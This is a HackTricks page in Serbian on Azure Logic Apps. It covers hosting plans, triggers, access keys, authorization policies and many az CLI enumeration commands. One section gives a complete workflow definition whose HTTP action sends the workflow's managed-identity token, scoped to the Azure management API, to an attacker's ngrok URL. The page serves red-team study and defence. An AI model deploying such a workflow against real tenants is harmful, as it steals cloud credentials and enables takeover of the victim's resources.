Az - Logic Apps

Reading time: 15 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Azure Logic Apps omogućava programerima da kreiraju i pokreću radne tokove koji integrišu različite usluge, izvore podataka i aplikacije. Ovi radni tokovi su dizajnirani da automatizuju poslovne procese, orkestriraju zadatke i obavljaju integracije podataka širom različitih platformi.

Logic Apps pruža vizuelni dizajner za kreiranje radnih tokova sa širokim spektrom unapred izgrađenih konektora, što olakšava povezivanje i interakciju sa različitim uslugama:

https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png

Opcije hostovanja

Postoji nekoliko opcija hostovanja:

  • Potrošnja
  • Multi-tenant: Ovo pruža deljene računske resurse, funkcioniše u javnom oblaku i prati model cena po operaciji. Ovo je idealno za lagane i isplative radne opterećenja. Ovo ćemo nazvati "Jedan Radni Tok".
  • Standard
  • Plan usluge radnog toka: Ovo pruža posvećene računske resurse sa VNET integracijom za umrežavanje i naplaćuje po instanci plana usluge radnog toka. Pogodno je za zahtevnija radna opterećenja koja zahtevaju veću kontrolu.
  • App Service Environment V3: Ovo pruža posvećene računske resurse sa potpunom izolacijom i skalabilnošću. Takođe se integriše sa VNET za umrežavanje i koristi model cena zasnovan na App Service instancama unutar okruženja.
  • Hibrid: Ovo je dizajnirano za lokalnu obradu i podršku za više oblaka. Omogućava korisnički upravljane računske resurse sa lokalnim pristupom mreži i koristi Kubernetes Event-Driven Autoscaling (KEDA). Oslanja se na Container App Connected Environment.

"Jedan" Radni Tokovi / Plan Potrošnje

Radni tok je strukturisana sekvenca automatizovanih koraka ili zadataka koji izvršavaju određeni proces ili cilj. Definiše kako različite akcije, uslovi i odluke interaguju da bi se postigao željeni ishod, pojednostavljujući operacije i smanjujući manuelni trud.

tip

Plan potrošnje omogućava kreiranje jednog radnog toka bez potrebe za samim Logic App.

Okidači i Akcije

Okidači radnog toka označavaju kada bi radni tok trebao da počne. Okidači mogu biti HTTP krajnja tačka, raspored ili desetine različitih događaja iz Azure-a ili čak spoljašnjih aplikacija.

Svaki radni tok ima različite akcije. Ove akcije su koraci koje radni tok prati. U zavisnosti od akcije, različiti parametri će biti dostupni za konfiguraciju, kao što su:

  • Ime konekcije: Konekcija koja će se koristiti sa kojom će akcija interagovati.
  • Tip autentifikacije: Različite opcije su Access Key, Microsoft Entra ID, Integrated Service principal authentication i Logic Apps Managed Identity.
  • Iz perspektive samo za čitanje, podaci o autentifikaciji su uvek zanimljivi jer mogu sadržati osetljive informacije.
  • Iz perspektive pisanja, podaci o autentifikaciji su uvek zanimljivi jer mogu omogućiti korišćenje dozvola dodeljenih upravljanim identitetima.
  • ...

Akcije takođe imaju različite postavke, koje zavise od same akcije. Neke od najčešćih postavki su:

  • Politika ponovnog pokušaja: Konfiguriše broj ponovnih pokušaja i interval između njih.
  • Vreme čekanja: Postavlja maksimalno vreme koje akcija može da traje pre nego što istekne.
  • Pokreni nakon: Precizira uslove koji moraju biti ispunjeni pre nego što akcija bude pokrenuta.
  • Validacija šeme: Osigurava da dolazni podaci prate unapred definisanu strukturu.
  • Umrežavanje: Konfiguriše kako upravljati različitim zaglavljima.
  • Sigurni ulazi/izlazi: Ovo će sakriti ulazne/izlazne podatke iz istorije izvršenja.
  • ...

Politike autorizacije

Ovi radni tokovi podržavaju politike autorizacije sa Entra ID za zaštitu okidača zasnovanih na zahtevima zahtevajući važeći pristupni token. Ovaj token mora uključivati specifične tvrdnje:

  • Izdavač (iss) za verifikaciju identiteta provajdera
  • Publika (aud) da osigura da je token namenjen za Logic App
  • Subjekat (sub) za identifikaciju pozivaoca
  • JWT ID (identifikator JSON Web Token-a)
  • Prilagođena tvrdnja

Kada se zahtev primi, Logic Apps validira token prema ovim tvrdnjama i omogućava izvršenje samo ako se poklapaju sa konfigurisanim politikama. Ovo se može koristiti za omogućavanje drugom tenant-u da pokrene radni tok ili odbijanje okidača iz drugih izvora, na primer, samo omogućavanje okidača ako dolazi sa https://login.microsoftonline.com/.

Pristupni ključevi

Radni tokovi generišu 2 pristupna ključa kada se kreiraju. Ovi ključevi se koriste za autentifikaciju i autorizaciju zahteva za radni tok. Ključevi se koriste za generisanje Shared Access Signature (SAS) tokena, koji se uključuje u URL zahteva.

Dakle, kada se kreira okidač HTTP krajnje tačke, generiše se jedinstvena HTTP krajnja tačka sa SAS potpisom koja daje dozvolu za pozivanje radnog toka.

Ovi ključevi se mogu regenerisati i biće kreiran novi SAS URL za ove okidače, ali vrednosti ključeva se ne mogu pristupiti.

Primer SAS URL-a za pozivanje okidača:

https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>

Podešavanja i komponente radnog toka

  • Opcija pristupa okidaču: Ova postavka vam omogućava da ograničite ko može da pokrene ili započne vaš radni tok. Opcije su Svaki IP, Samo drugi radni tok i Specifični IP opsezi.
  • Integracioni nalog: Povežite svoj radni tok sa Integracionim nalogom.
  • Visok protok: Ako je uključen, omogućava brže rukovanje većim brojem zahteva paralelno.
  • Zadržavanje istorije izvršenja: Ovo označava broj dana za koje se čuva istorija izvršenja.
  • API konekcije: Ovo prikazuje različite API konekcije koje radni tok ima. Unutar svake od ovih konekcija imaju različita svojstva i mogućnost uređivanja API konekcije gde se može promeniti tip autentifikacije.
  • Istorija: Ima opciju pristupa istoriji starih izvršenja i dobijanja podataka: Podešavanja, Izlaz, Parametri i Kod.
  • Verzije: Ima opciju pristupa različitim verzijama radnog toka, gde možete proveriti kod i promeniti trenutni radni tok sa starijom verzijom.
  • Upravljane identitete: Moguće je dodeliti 1 sistemski upravljani identitet i korisnički upravljani identitet radnom toku.

Izdavanje MI pristupnih tokena

HTTP akcija u radnom toku može se koristiti za slanje podataka na eksternu veb stranicu. U Naprednim parametrima HTTP akcije, moguće je konfigurisati Tip autentifikacije kao Upravljani identitet i zatim odabrati dodeljeni upravljani identitet za korišćenje (sistem ili korisnik).

Pored toga, moguće je naznačiti u Publika publiku generisanog JWT, koja bi mogla biti na primer https://management.azure.com/ kako bi se generisani token mogao koristiti za pristup Azure menadžerskom API-ju.

warning

Slanjem HTTP zahteva na server koji kontroliše napadač, moguće je izdati pristupni token upravljanog identiteta dodeljenog radnom toku.

tip

Napadač takođe može koristiti druge tipove akcija da direktno pristupi drugim Azure uslugama i izvrši radnje sa dozvolama upravljanog identiteta.

Ovo je kod radnog toka koji izlaže HTTP krajnju tačku i zatim koristi HTTP akciju da izda pristupni token na konfigurisanu URL adresu (ngrok u ovom slučaju):

Kod radnog toka
json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}

Logic Apps / Standard Plan

Razlike sa "Single" Tokovima

Logic apps u osnovi koriste App Service u pozadini da hostuju logic app koji može hostovati nekoliko tokova. To znači da će logic app imati sve funkcije App Service-a i "Single" Tokova.

Neke ključne funkcije bi bile:

  • App Service Plan: Logic Apps u Standard planu su hostovane na App Service Plan-u, tako da je moguće koristiti sve funkcije App Service-a kao što su:
  • Mrežne Ograničenja: Naznačite odakle je dostupno.
  • Centar za Implementaciju: Implementacija sa eksternih platformi kao što su Github, Bitbucket, Azure Repos, Eksterni Git i Lokalni Git.
  • FTP pristup: Moguće je pristupiti datotekama Logic App-a putem FTP-a.
  • Račun za skladištenje: Servisna aplikacija koristi račun za skladištenje za čuvanje informacija.
  • Env varijable & Postavke aplikacije: Moguće je konfigurisati varijable okruženja i postavke aplikacije (i pronaći osetljive informacije kao što su pristupni ključevi za račun za skladištenje).
  • ...
  • Parametri: Parametri vam omogućavaju da upravljate vrednostima koje se razlikuju između razvoja, testiranja i produkcije. Ovo vam omogućava da prvo dizajnirate tokove, a zatim lako prilagodite postavke specifične za okruženje kasnije.
  • Posvećeni Resursi: Logic Apps u Standard planu imaju posvećene resurse.
  • Više Tokova: Omogućava kreiranje više tokova.

Za više informacija o App Services pogledajte:

Az - Azure App Services

Enumeracija

bash
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>

# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"

# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"

# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"

# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"

# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>

# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>

# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>

# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"

# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"

# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"

# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"


Integracioni Nalozi

Integracioni Nalozi su funkcija Azure Logic Apps. Integracioni Nalozi se koriste za olakšavanje integracija na nivou preduzeća omogućavanjem naprednih B2B mogućnosti, kao što su EDI, AS2 i upravljanje XML shemama. Integracioni Nalozi su kontejner u Azure-u koji čuva sledeće artefakte korišćene za Logic Apps:

  • Shemati: Upravljajte XML shemama za validaciju i obradu poruka u vašem integracionom nalogu.
  • Mape: Konfigurišite XSLT transformacije za konvertovanje formata podataka unutar vaših integracionih radnih tokova.
  • Skupovi: Upravljajte skupovima integracionog naloga kako biste pojednostavili logiku i obradu podataka.
  • Sertifikati: Rukujte sertifikatima za enkripciju i potpisivanje poruka, osiguravajući sigurnu komunikaciju.
  • Partneri: Upravljajte informacijama o trgovinskim partnerima za B2B transakcije, omogućavajući besprekornu integraciju.
  • Sporazumi: Konfigurišite pravila i postavke za razmenu podataka sa trgovinskim partnerima (npr. EDI, AS2).
  • Batch Konfiguracije: Upravljajte konfiguracijama obrade serija kako biste grupisali i efikasno obrađivali poruke.
  • RosettaNet PIP: Konfigurišite RosettaNet procese interfejsa partnera (PIPs) za standardizaciju B2B komunikacije.

Enumeracija

bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>

# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>

az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>

# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>

# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>

# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>

# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>


Eskalacija privilegija

Isto kao privesc za logic apps:

Az - Logic Apps Privesc

Post Eksploatacija

Az - Logic Apps Post Exploitation

Postojanost

Az - Logic Apps Persistence

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks